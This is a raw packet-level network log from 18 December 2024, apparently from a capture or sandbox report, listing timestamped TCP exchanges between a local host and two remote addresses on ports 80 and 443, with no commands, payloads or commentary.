Dec 18, 2024 15:20:46.871563911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.871706963 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.871787071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.871860027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.871932030 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.872575998 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.872653961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.872685909 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.872731924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.873442888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.873537064 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.873730898 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.873820066 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.873852015 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.873898983 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.874679089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.874732018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.874758959 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.874823093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.875540018 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.875588894 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.875593901 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.875675917 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.876523018 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.876574993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.876755953 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.876808882 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.877336979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.877386093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.877405882 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.877475977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.878217936 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.878268957 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.878391981 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.878441095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.879106045 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.879157066 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.879259109 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.879297972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.879972935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.880021095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.880084991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.880132914 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.880883932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.880966902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.880992889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.881114960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.881771088 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.881870031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.881881952 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.881927967 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.882735014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.882783890 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.882850885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.882908106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.883591890 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.883645058 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.883703947 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.883793116 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.884469032 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.884521008 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.884627104 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.884696960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.885284901 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.885333061 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.959017992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.959078074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.959134102 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.959134102 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.959176064 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.959217072 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.959250927 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.959294081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.960145950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.960205078 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.960289955 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.960331917 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.960988045 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.961030006 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.961086988 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.961134911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.961869955 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.961916924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.961990118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.962033987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.962769032 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.962810993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.962830067 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.962871075 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.963649988 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.963691950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.963762045 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.963803053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.964553118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.964595079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.964696884 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.964740038 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.965406895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.965456963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.965502977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.965554953 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.966310978 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.966361046 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.966483116 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.966527939 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.967201948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.967247963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.967286110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.967334032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.968081951 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.968130112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.968166113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.968210936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.968977928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.969023943 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.969086885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.969134092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.969856977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.969902992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:46.969927073 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:46.969971895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.004128933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.004224062 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.004306078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.004354000 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.004504919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.004554033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.004589081 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.004633904 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.005424023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.005477905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.005547047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.005594015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.006273985 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.006321907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.006387949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.006434917 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.007325888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.007378101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.007410049 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.007456064 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.008300066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.008343935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.008559942 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.008606911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.009293079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.009340048 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.009371996 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.009413958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.010118008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.010166883 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.010168076 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.010212898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.010869026 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.010916948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.010977030 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.011028051 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.011598110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.011650085 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.011662960 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.011706114 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.012506962 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.012557030 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.012562990 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.012604952 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.013406038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.013453960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.013573885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.013619900 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.014278889 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.014323950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.014472961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.014518976 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.015172958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.015224934 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.015311003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.015362978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.016067982 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.016112089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.016115904 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.016159058 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.016954899 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.017003059 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.017035007 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.017080069 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.017849922 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.017896891 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.017956972 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.018004894 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.018816948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.018861055 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.018884897 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.018929005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.019676924 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.019727945 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.019773960 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.019820929 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.020612955 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.020661116 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.020736933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.020782948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.021372080 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.021420002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.021531105 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.021578074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.022308111 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.022356033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.022381067 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.022423983 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.023174047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.023186922 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.023222923 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.023241043 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.024066925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.024116993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.063364029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.063384056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.063450098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.063479900 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.063770056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.063822031 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.063900948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.063950062 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.064457893 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.064507961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.064564943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.064614058 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.065335989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.065385103 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.065417051 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.065462112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.065807104 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.065854073 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.065921068 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.065973997 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.066719055 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.066739082 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.066766977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.066785097 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.067600012 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.067651033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.067724943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.067771912 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.068533897 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.068579912 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.068610907 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.068658113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.069410086 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.069458961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.069483995 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.069533110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.070286036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.070344925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.070365906 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.070410013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.071216106 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.071260929 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.071300030 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.071346045 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.072020054 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.072069883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.072146893 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.072195053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.072968006 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.073019981 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.073136091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.073182106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:47.073812962 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.073878050 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:47.073929071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:49.400073051 CET	49707	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.400099039 CET	443	49707	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:49.400162935 CET	49707	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.400266886 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.400293112 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:49.400337934 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.400409937 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.400453091 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:49.400497913 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.400537968 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.400549889 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:49.400588036 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.400748014 CET	49707	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.400758028 CET	443	49707	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:49.400914907 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.400924921 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:49.401050091 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.401062965 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:49.401187897 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:49.401200056 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:50.809902906 CET	80	49704	185.215.113.206	192.168.2.5
Dec 18, 2024 15:20:50.810066938 CET	49704	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:20:51.092653990 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.095571041 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.095957041 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.097171068 CET	443	49707	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.102193117 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.102225065 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.103348970 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.103358030 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.103615999 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.103674889 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.103801012 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.103827953 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.103950024 CET	49707	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.103966951 CET	443	49707	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.104820967 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.104932070 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.105071068 CET	443	49707	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.105134964 CET	49707	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.105664015 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.105736971 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.106050014 CET	49707	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.106122017 CET	443	49707	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.106148005 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.106154919 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.106952906 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.107064009 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.107274055 CET	49707	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.107285023 CET	443	49707	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.107297897 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.107302904 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.107630014 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.107696056 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.108072042 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.108195066 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.108253956 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.156816006 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.156817913 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.156826973 CET	49707	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.157351971 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.157362938 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.203730106 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.381263018 CET	49707	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:51.381391048 CET	443	49707	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:51.381463051 CET	49707	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.029133081 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.029171944 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 15:20:52.029223919 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 15:20:52.029248953 CET	443	49709	142.250.181.132	192.168.2.5
